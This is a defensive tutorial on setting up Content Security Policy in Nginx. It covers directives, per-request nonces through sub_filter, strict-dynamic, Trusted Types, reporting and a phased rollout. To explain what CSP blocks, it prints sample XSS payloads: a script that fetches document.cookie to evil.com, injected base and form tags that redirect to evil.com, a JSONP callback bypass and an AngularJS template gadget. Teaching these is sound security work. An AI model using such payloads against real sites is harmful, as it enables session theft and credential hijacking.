Content Security Policy (CSP) with Nginx: The Complete Guide
Master Content Security Policy from zero to A+. Learn CSP progressively—from your first header to strict nonces, hashes, strict-dynamic, and Trusted Types. Includes bypass prevention, debugging techniques, and production-ready Nginx configurations.

Cross-Site Scripting (XSS) remains one of the most devastating web vulnerabilities, consistently ranking in OWASP’s Top 10 and accounting for approximately 40% of all reported web application security issues. According to Google’s security research, even websites with CSP often fail to implement it correctly—94.72% of allowlist-based CSPs can be bypassed.
Content Security Policy (CSP) is your browser-level defense against these attacks. Think of it as a strict “guest list” for your website—you explicitly tell the browser which resources (scripts, styles, images) are allowed to execute. Anything not on the list gets blocked, even if an attacker manages to inject malicious code.
This guide takes you from zero to a production-ready, A+ rated CSP configuration. You’ll learn not just the “how” but the “why” behind each directive, understand modern bypass techniques and how to prevent them, and discover advanced topics like Trusted Types for DOM-based XSS prevention.
What You'll Learn
- Start with one line:
default-src 'self'gives you immediate protection - Use nonces, not allowlists: 94.72% of allowlist CSPs can be bypassed; nonces are cryptographically secure
- Static sites can use nonces: Nginx’s
sub_filterreplaces placeholders at request time - Adopt
strict-dynamic: Trust propagates from nonced scripts to dynamically loaded ones - Include security hardening:
object-src 'none'andbase-uri 'none'are mandatory for strict CSP - Trusted Types: The next evolution for DOM-based XSS prevention (CSP Level 3)
- Deploy safely: Always start in report-only mode before enforcing
The Evolution of CSP
Content Security Policy has evolved significantly since its introduction. Understanding this evolution helps you appreciate why modern “strict CSP” approaches exist.
- X-Content-Security-Policy
Mozilla introduces the first CSP implementation as an experimental header. Mozilla Security Blog
- Milestone CSP Level 1
W3C standardizes CSP with basic fetch directives (script-src, style-src, etc.). W3C CSP 1.0 Spec
- Milestone CSP Level 2
Introduces nonces, hashes, and frame-ancestors. 'unsafe-inline' can be overridden by nonces. W3C CSP Level 2
- Deprecated Google Research
Google publishes 'CSP Is Dead, Long Live CSP' showing 94.72% of allowlist CSPs are bypassable. Research Paper
- Standard strict-dynamic
New keyword allows trusted scripts to load dependencies without explicit allowlisting. MDN strict-dynamic
- Milestone CSP Level 3 (Working Draft)
Introduces Trusted Types, report-to, and improved WebAssembly support. W3C CSP Level 3
- Standard Trusted Types Adoption
Browser support matures; enterprises begin adopting for DOM-XSS prevention. web.dev Trusted Types
Your First CSP in 5 Minutes
Let’s get a working CSP right now. Open your Nginx configuration and add this single header:
server {
listen 443 ssl;
server_name example.com;
# Your first CSP - allow resources only from your own domain
add_header Content-Security-Policy "default-src 'self'" always;
# ... rest of your config
}Test your configuration and reload Nginx:
That’s it! You now have a working CSP. Open your browser’s DevTools (F12 → Console) to see any violations:
Refused to load the script ‘https://cdn.example.com/analytics.js’ because it violates the following Content Security Policy directive: “default-src ‘self’”.
Understanding CSP: The Whitelist Concept
CSP works by defining what’s allowed, not what’s blocked. Think of it as a VIP list at an exclusive event—only resources on the list get in.
Why CSP Matters: The Defense-in-Depth Principle
Without CSP, if an attacker injects <script>stealCookies()</script> into your page (via a comment form, URL parameter, or database), the browser happily executes it—there’s no way to distinguish legitimate scripts from malicious ones.
With CSP, the browser checks every resource against your policy before execution. If inline scripts aren’t explicitly allowed, the attack is neutralized at the browser level.
How XSS Attacks Work (and How CSP Stops Them)
To understand CSP’s value, let’s trace a typical XSS attack:
Step-by-Step Breakdown
Injection: Attacker submits a comment containing:
<script>fetch('https://evil.com?c='+document.cookie)</script>Storage: The website stores this in the database without proper sanitization
Delivery: When another user views the page, the malicious script is served as part of the HTML
Execution: The browser sees a
<script>tag and executes it—no questions askedExfiltration: The script sends session cookies to the attacker’s server
How CSP Breaks the Chain
With CSP (script-src 'self'), step 4 fails. The browser checks: “Is this an inline script? Is 'unsafe-inline' allowed?” Since inline scripts are blocked by default, the attack is neutralized:
Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.
Attack Vectors CSP Prevents
CSP addresses multiple threat categories. Here’s how different directives create defense-in-depth:
| Threat | Attack Vector | CSP Defense |
|---|---|---|
| Reflected XSS | Scripts injected via URL parameters | script-src without ‘unsafe-inline’ |
| Stored XSS | Scripts injected via database content | script-src with nonces/hashes |
| DOM-based XSS | eval(), innerHTML abuse | script-src without ‘unsafe-eval’ + Trusted Types |
| Data exfiltration | XHR/fetch to attacker servers | connect-src ‘self’ |
| Clickjacking | Site framed by malicious page | frame-ancestors ‘none’ |
| Mixed content | HTTP resources on HTTPS pages | upgrade-insecure-requests |
| Plugin attacks | Flash, Java, PDF exploits | object-src ‘none’ |
| Form hijacking | Injected forms to steal credentials | form-action ‘self’ |
| Base tag injection | Redirecting relative URLs to attacker | base-uri ‘none’ |
CSP Directives: Learn by Doing
Instead of memorizing tables, let’s learn each directive by adding it to our policy progressively.
1. default-src: The Fallback
This is the catch-all directive. If you don’t specify a directive for a resource type, default-src applies.
default-src <source-list>* (allow all)Fallback for all unspecified fetch directives. Set this restrictively and add specific directives as needed.
Best practice: Set default-src 'none' and explicitly allow what you need. This is the “deny by default” approach that security professionals recommend.
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';2. script-src: The Most Critical Directive
This controls which scripts can execute on your page. Get this wrong and your entire CSP is effectively useless.
script-src <source-list>Falls back to default-srcSpecifies valid sources for JavaScript. This is the most important directive for XSS protection.
| Value | Meaning | Security |
|---|---|---|
’self’ | Same origin only (scheme + host + port) | Safe |
’none’ | Block all scripts entirely | Maximum |
’nonce-{random}‘ | Allow scripts with matching nonce attribute | Recommended |
’sha256-{hash}‘ | Allow scripts with matching content hash | Strong |
’strict-dynamic’ | Trust propagates to dynamically loaded scripts | Strong |
https://cdn.example.com | Allow scripts from specific domain | Weak (bypassable) |
‘unsafe-inline’ | Allow all inline scripts | Dangerous |
’unsafe-eval’ | Allow eval(), Function(), etc. | Dangerous |
3. style-src: CSS Control
style-src <source-list>Falls back to default-srcSpecifies valid sources for stylesheets. Less critical than script-src but still important for comprehensive protection.
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';4. Resource Directives
# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;data: is often needed for base64-encoded images, SVG icons, or placeholder images.
# Allow fonts from same origin only
font-src 'self';
# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;This controls where JavaScript can send data. Critical for preventing stolen data from being sent to attacker servers.
# Audio and video sources
media-src 'self';# Web Workers and Service Workers
worker-src 'self';
# For sites using blob: URLs for workers
worker-src 'self' blob:;Controls sources for Worker, SharedWorker, and ServiceWorker scripts. If not specified, falls back to script-src.
5. Security Hardening Directives
These are often overlooked but are required for strict CSP:
object-src 'none' — Block Plugins
Plugins like Flash and Java have historically been major vulnerability vectors. Although Flash is deprecated, blocking object-src prevents any plugin-based attacks:
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';base-uri 'none' — Prevent Base Tag Injection
The <base> tag defines a base URL for all relative URLs in a document. If an attacker injects a <base> tag, they can redirect all your relative URLs to their server:
<!-- Attacker injects this -->
<base href="https://evil.com/">
<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->Content-Security-Policy: base-uri 'none'
<!-- Injection attempt blocked! -->
Refused to set the document's base URI to
'https://evil.com/' because it violates CSP.frame-ancestors 'none' — Clickjacking Protection
Prevents your site from being embedded in iframes on other sites:
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';
# Or allow embedding only on your own domain
frame-ancestors 'self';form-action 'self' — Control Form Submissions
Prevents attackers from injecting forms that submit data to their servers:
# Forms can only submit to your own domain
form-action 'self';Building Your CSP Layer by Layer
Rather than writing a perfect CSP in one go (which leads to frustration), let’s build progressively. Each layer adds protection, and you can stop at any level based on your needs.
| Level | Policy Addition | Protection Added |
|---|---|---|
| 0 | No CSP | None—wide open to XSS |
| 1 | default-src ‘none’ | Blocks everything by default |
| 2 | + script-src ‘self’ | Only your scripts run |
| 3 | + style-src, img-src, font-src | Controls visual resources |
| 4 | + connect-src ‘self’; object-src ‘none’ | Limits data exfiltration, blocks plugins |
| 5 | + base-uri ‘none’; frame-ancestors ‘none’ | Prevents injection & clickjacking |
| 6 | + form-action ‘self’; upgrade-insecure-requests | Full baseline protection |
Level 6: A Solid Baseline CSP
Here’s what Level 6 looks like in practice:
add_header Content-Security-Policy "
default-src 'none';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" always;The Inline Script Challenge
Most websites have inline scripts like this:
<script>
// Theme detection - runs before page renders
const theme = localStorage.getItem('theme') || 'system';
document.documentElement.classList.add(theme);
</script>With script-src 'self', this is blocked. You have three solutions:
| Solution | Best For | Pros | Cons |
|---|---|---|---|
| External Files | Simple cases | No nonces/hashes needed; cacheable | Extra HTTP request; can’t run before render |
| Hashes | Static scripts | Works for static content; no server changes | Must regenerate on any script change |
| Nonces ⭐ | All cases | Most flexible; Google-recommended | Requires server-side nonce (Nginx trick for static sites) |
Solution 1: Move to External Files
The cleanest approach—move inline code to .js files:
<head>
<script>
initTheme();
</script>
</head><head>
<script src="/js/theme.js"></script>
</head>Solution 2: Use Hashes
Generate a SHA-256 hash of your script content and add it to your CSP. Try it yourself:
Calculating... Calculating... Calculating... Calculating... ...<script> tags) and compares it against the hash in your CSP header. If they match, the script executes. Any change to the script—even whitespace—invalidates the hash. SHA-256 is recommended for broad compatibility.Limitation: You must regenerate the hash whenever the script content changes—even adding a space will invalidate it.
Solution 3: Use Nonces
Add a random token to both the CSP header and your script tags:
Content-Security-Policy:
script-src 'self' 'nonce-abc123def456';<script nonce="abc123def456">
const theme = localStorage.getItem('theme');
document.documentElement.classList.add(theme);
</script>Critical: The nonce must be:
- Cryptographically random (at least 128 bits / 16 bytes)
- Unique per request (never reuse nonces)
- Encoded (base64 or hex — Nginx’s
$request_iduses hex, which is valid per CSP spec)
Nonces for Static Sites: The Nginx Trick
Here’s the challenge: Static Site Generators (Astro, Next.js, Hugo) build HTML at build time. But nonces must be unique per request. How can static HTML contain dynamic nonces?
The Solution: Placeholder Substitution
Step 1: Use Placeholders in Your Templates
In your templates, use a placeholder that Nginx will replace:
---
// Layout component
---
<html>
<head>
<!-- Nginx will replace this placeholder -->
<script is:inline nonce="CSP_NONCE_NGINX">
const theme = localStorage.getItem('theme') || 'system';
document.documentElement.dataset.theme = theme;
</script>
</head>
<body>
<slot />
</body>
</html>Step 2: Configure Nginx
server {
listen 443 ssl;
server_name example.com;
# ================================================
# STEP 1: Generate unique nonce per request
# ================================================
# $request_id = 32-char hex string (128 bits entropy)
set $cspNonce $request_id;
# ================================================
# STEP 2: Replace placeholder with real nonce
# ================================================
# NOTE: sub_filter requires uncompressed responses.
# For proxied backends, add: proxy_set_header Accept-Encoding "";
# For static files, ensure gzip is disabled or applied after sub_filter.
sub_filter_once off; # Replace ALL occurrences
sub_filter_types text/html text/css application/javascript;
sub_filter CSP_NONCE_NGINX $cspNonce;
# ================================================
# STEP 3: Set CSP header with same nonce
# ================================================
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" always;
# ... rest of config
}What the Browser Sees
<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
const theme = localStorage.getItem('theme');
</script>HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
const theme = localStorage.getItem('theme');
</script>Going Strict with 'strict-dynamic'
The 'strict-dynamic' keyword is a game-changer: it allows scripts loaded by trusted scripts to also execute, without needing their own nonces.
How It Works
<!-- This script has a valid nonce -->
<script nonce="abc123">
// This dynamically created script ALSO runs
// because it inherits trust from the parent
const script = document.createElement('script');
script.src = 'https://cdn.example.com/analytics.js';
document.head.appendChild(script);
</script>When to Use 'strict-dynamic'
| Scenario | Use strict-dynamic? | Reason |
|---|---|---|
| SPA with code splitting | Yes | Webpack/Vite load chunks dynamically |
| Analytics (GA, Segment) | Yes | Analytics scripts often load additional scripts |
| Third-party widgets | Yes | Chat widgets, embeds load their own dependencies |
| Simple static site | Optional | If all scripts are in HTML, nonces alone suffice |
| No JavaScript at all | No | Use script-src ‘none’ instead |
The Strict CSP Formula
Based on Google’s research, a “strict CSP” that actually protects against XSS requires these elements:
- Uses nonces or hashes instead of domain allowlists
- Includes
'strict-dynamic'for dynamic script loading - Sets
object-src 'none'to block plugins - Sets
base-uri 'none'to prevent base tag injection
The Template
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';Why Allowlists Don’t Work
Common bypass vectors include:
- JSONP endpoints on trusted CDNs
- Open redirects on allowed domains
- AngularJS template injection on allowed origins
- User-uploaded content served from allowed domains
Interactive: Build Your CSP
Use this interactive builder to construct a policy and see your security rating in real-time:
default-src Strict Block all resources by default (deny-by-default approach) 'none'script-src Strict Allow scripts from same origin with nonce 'self' 'nonce-{RANDOM}'style-src Allow styles from same origin + inline styles 'self' 'unsafe-inline'Security Hardening
object-src Strict Block plugins (Flash, Java) — Required for strict CSP 'none'base-uri Strict Prevent base tag injection — Required for strict CSP 'none'frame-ancestors Prevent clickjacking (replaces X-Frame-Options) 'none'form-action Restrict form submissions to same origin 'self'frame-src Control sources for frames and iframes 'self'sandbox Apply sandbox restrictions (like iframe sandbox) allow-scripts allow-same-originResource Control
img-src Allow images from same origin + data URIs 'self' data:font-src Allow fonts from same origin 'self'connect-src Restrict XHR/Fetch/WebSocket connections 'self'media-src Allow audio/video from same origin 'self'worker-src Allow Web Workers from same origin 'self'child-src Control workers and nested browsing contexts 'self'manifest-src Control web app manifest sources 'self'Advanced Options
strict-dynamic Trust scripts loaded by trusted scripts (add to script-src) upgrade-insecure-requests Auto-upgrade HTTP to HTTPS block-all-mixed-content Deprecated Block all HTTP resources on HTTPS pages require-trusted-types-for Require Trusted Types for DOM XSS sinks 'script'report-to Modern reporting endpoint (use with Reporting-Endpoints header) csp-endpointreport-uri Deprecated Violation report endpoint (deprecated, use report-to) /csp-reportsContent-Security-Policy: ...CSP Bypass Techniques and Prevention
Understanding how attackers bypass CSP helps you avoid common pitfalls.
1. JSONP Endpoints
JSONP endpoints execute user-controlled callbacks, making them a classic bypass vector:
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script># Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->2. Form Hijacking
Attackers can inject forms to steal credentials if form-action isn’t set:
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
<!-- Your existing input fields get captured -->
</form>
<!-- Without form-action, the browser allows submission to evil.com! -->Prevention:
form-action 'self';3. Base Tag Injection
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">
<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script> <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png"> <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a> <!-- Links to https://evil.com/login -->Prevention:
base-uri 'none';4. Script Gadgets in Allowed Libraries
Some major libraries contain patterns that can be exploited for XSS when that library is allowed by CSP:
According to research by Sebastian Lekies et al., common libraries contain exploitable patterns:
| Library | Gadget Type | Attack Vector | Risk |
|---|---|---|---|
| AngularJS (1.x) | Template injection | ng-app + {{constructor.constructor(‘alert(1)’)()}} | Critical |
| jQuery (<3.0) | Selector-based XSS | $(location.hash) with user input | High |
| Require.js | Dynamic imports | Attacker-controlled module paths | Medium |
| Dojo Toolkit | Module loading | require() with user input | Medium |
| Google Closure | Template system | Unsafe template rendering | Medium |
5. Missing object-src
Without object-src 'none', attackers can use plugins to execute code:
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..."
type="application/x-shockwave-flash">
</object>
<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">Prevention:
object-src 'none';Trusted Types: The Next Evolution
While traditional CSP prevents injection of <script> tags, it doesn’t protect against DOM-based XSS where JavaScript directly writes to dangerous sinks:
// These are dangerous DOM sinks
element.innerHTML = userInput; // XSS if userInput contains HTML
location.href = userInput; // Open redirect/XSS
document.write(userInput); // XSS
eval(userInput); // Remote code executionTrusted Types forces developers to sanitize data before passing it to these sinks.
How Trusted Types Work
Enabling Trusted Types
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
# Trusted Types enforcement
require-trusted-types-for 'script';
trusted-types default;
" always;Creating a Trusted Types Policy
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
const sanitizerPolicy = trustedTypes.createPolicy('default', {
createHTML: (input) => {
// Use DOMPurify or similar sanitizer
return DOMPurify.sanitize(input);
},
createScriptURL: (input) => {
// Only allow same-origin URLs
const url = new URL(input, window.location.origin);
if (url.origin !== window.location.origin) {
throw new Error('Cross-origin scripts not allowed');
}
return url.href;
}
});
}
// Now innerHTML requires TrustedHTML
element.innerHTML = userInput; // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput); // Works!Advanced: Per-Endpoint CSP
Different parts of your site may need different policies:
- Admin panels: Stricter CSP
- API endpoints: No CSP needed (JSON isn’t executed)
- Static assets: Relaxed for social media previews
- User-generated content pages: Extra restrictions
Implementation
server {
listen 443 ssl;
server_name example.com;
# Default: strict CSP for HTML pages
location / {
try_files $uri $uri/ =404;
include /etc/nginx/snippets/security-headers-strict.conf;
}
# API: no CSP needed for JSON
location /api/ {
proxy_pass http://backend;
# No CSP header - JSON isn't executed by browsers
}
# Assets: relaxed for social media crawlers
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
include /etc/nginx/snippets/security-headers-assets.conf;
}
}# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
...
" always;
# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
default-src 'none';
img-src 'self';
font-src 'self';
" always;
# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;Migration: Report-Only to Enforcement
Never deploy strict CSP directly to production. Use a phased approach:
Deploy in report-only mode (1-2 weeks)
Use
Content-Security-Policy-Report-Onlyto log violations without blocking anything. Monitor your logs to understand what would break.Analyze and fix violations
Review reports and remediate issues:
- Inline event handlers →
addEventListener() eval()calls →JSON.parse()or refactor- Missing nonces on inline scripts
- Third-party scripts that need
strict-dynamic
- Inline event handlers →
Enable enforcement gradually
Switch from
Report-OnlytoContent-Security-Policy. Keep a report-only header for testing future stricter policies.
Phase 1: Report-Only
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
report-uri /csp-reports;
" always;Phase 2: Fix Common Issues
- Inline event handlers → Convert
onclick="..."toaddEventListener() eval()usage → Replace withJSON.parse()or refactor- Missing nonces → Add
nonce="CSP_NONCE_NGINX"to inline scripts - Third-party scripts → Verify
'strict-dynamic'covers them - Inline styles in JS → Use CSS classes or CSS custom properties
Phase 3: Enforce
# Now blocking violations
add_header Content-Security-Policy "..." always;
# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;Setting Up CSP Reporting
CSP’s built-in reporting tells you when violations occur—essential for debugging and detecting attacks.
Use instead: report-to
Option 1: Simple Nginx Logging
# Reporting endpoint
location /csp-reports {
access_log /var/log/nginx/csp-reports.log;
return 204;
}# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;
# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
...
report-uri /csp-reports;
report-to csp-endpoint;
" always;Option 2: Third-Party Services
Services like Report URI provide dashboards and analysis:
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;Violation Report Format
Browsers send JSON reports like this:
{
"csp-report": {
"document-uri": "https://example.com/page",
"blocked-uri": "https://evil.com/script.js",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
"disposition": "enforce",
"status-code": 200,
"script-sample": "",
"line-number": 42,
"column-number": 15,
"source-file": "https://example.com/page"
}
}Refactoring Code for CSP
Some common patterns are incompatible with strict CSP. Here’s how to fix them:
Inline Event Handlers → addEventListener
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form><button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>
<script nonce="CSP_NONCE_NGINX">
document.getElementById('submitBtn')
.addEventListener('click', submitForm);
document.getElementById('actionLink')
.addEventListener('click', (e) => {
e.preventDefault();
doSomething();
});
document.getElementById('myForm')
.addEventListener('submit', validate);
</script>eval() → JSON.parse()
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;Inline Styles in JS → CSS Custom Properties
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');.highlighted {
background: var(--user-color, #fff);
}Testing and Validation
Browser DevTools
Your best friend for CSP debugging. Open F12 → Console to see violations in real-time:
Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘nonce-abc123’ ‘strict-dynamic’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.
Online Tools
| Tool | Purpose |
|---|---|
| Mozilla Observatory | Comprehensive security header grading (A+ possible) |
| Google CSP Evaluator | Finds logical bypasses in your policy (highly recommended) |
| SecurityHeaders.com | Quick header analysis and scoring |
| CSP Hash Generator | Generate hashes for inline scripts |
Common Pitfalls
1. Using 'unsafe-inline' for Scripts
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';# Actual protection
script-src 'self' 'nonce-$cspNonce';2. Overly Permissive Sources
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;This allows any HTTPS script to execute, completely defeating CSP’s purpose.
3. Forgetting Required Directives
# Missing critical directives!
script-src 'nonce-$cspNonce';# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';4. Missing always in Nginx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";# CSP on ALL responses
add_header Content-Security-Policy "..." always;Without always, CSP headers won’t be sent on error pages (404, 500), leaving those pages vulnerable.
5. add_header Inheritance Gotcha
location / {
add_header Content-Security-Policy "..." always;
add_header X-Frame-Options "DENY" always;
}
location /assets/ {
# WARNING: This REPLACES parent headers, not adds to them!
add_header Cache-Control "public, immutable" always;
# CSP and X-Frame-Options are now MISSING here!
}Solution: Use include snippets to share headers across locations.
Complete Production Example
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name example.com;
root /var/www/example.com;
index index.html;
# ================================================
# CSP Nonce Setup
# ================================================
set $cspNonce $request_id;
sub_filter_once off;
sub_filter_types text/html text/css application/javascript;
sub_filter CSP_NONCE_NGINX $cspNonce;
# ================================================
# Build CSP Header
# ================================================
set $csp "default-src 'none'; ";
set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
set $csp "${csp}style-src 'self' 'unsafe-inline'; ";
set $csp "${csp}img-src 'self' data:; ";
set $csp "${csp}font-src 'self'; ";
set $csp "${csp}connect-src 'self'; ";
set $csp "${csp}worker-src 'self'; ";
set $csp "${csp}object-src 'none'; ";
set $csp "${csp}base-uri 'none'; ";
set $csp "${csp}frame-ancestors 'none'; ";
set $csp "${csp}form-action 'self'; ";
set $csp "${csp}upgrade-insecure-requests; ";
set $csp "${csp}report-uri /csp-reports; ";
set $csp "${csp}report-to csp-endpoint";
# ================================================
# Security Headers
# ================================================
add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;
add_header Content-Security-Policy $csp always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# Note: require-corp is strict - external resources (fonts, CDNs) must provide
# CORP/CORS headers. Use "credentialless" for broader compatibility.
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# ================================================
# Routes
# ================================================
location / {
try_files $uri $uri/ =404;
}
# CSP Violation Reporting Endpoint
location /csp-reports {
access_log /var/log/nginx/csp-reports.log;
return 204;
}
# Static assets with relaxed CORP for social media
# Note: add_header in location blocks overrides parent-level headers,
# so we must re-include essential security headers here
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
# Re-include essential security headers
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
}Your CSP Journey: Summary
- Start simple — Deploy
default-src 'self'in report-only mode - Add directives progressively — Scripts, styles, images, etc.
- Handle inline scripts — Move to files, use hashes, or implement nonces
- For static sites — Use Nginx
sub_filterfor nonce injection - Go strict — Add
'strict-dynamic',object-src 'none',base-uri 'none' - Set up reporting — Monitor violations with
report-uri/report-to - Enforce gradually — Switch from report-only to enforcement after testing
- Maintain and iterate — Keep monitoring, update as your app evolves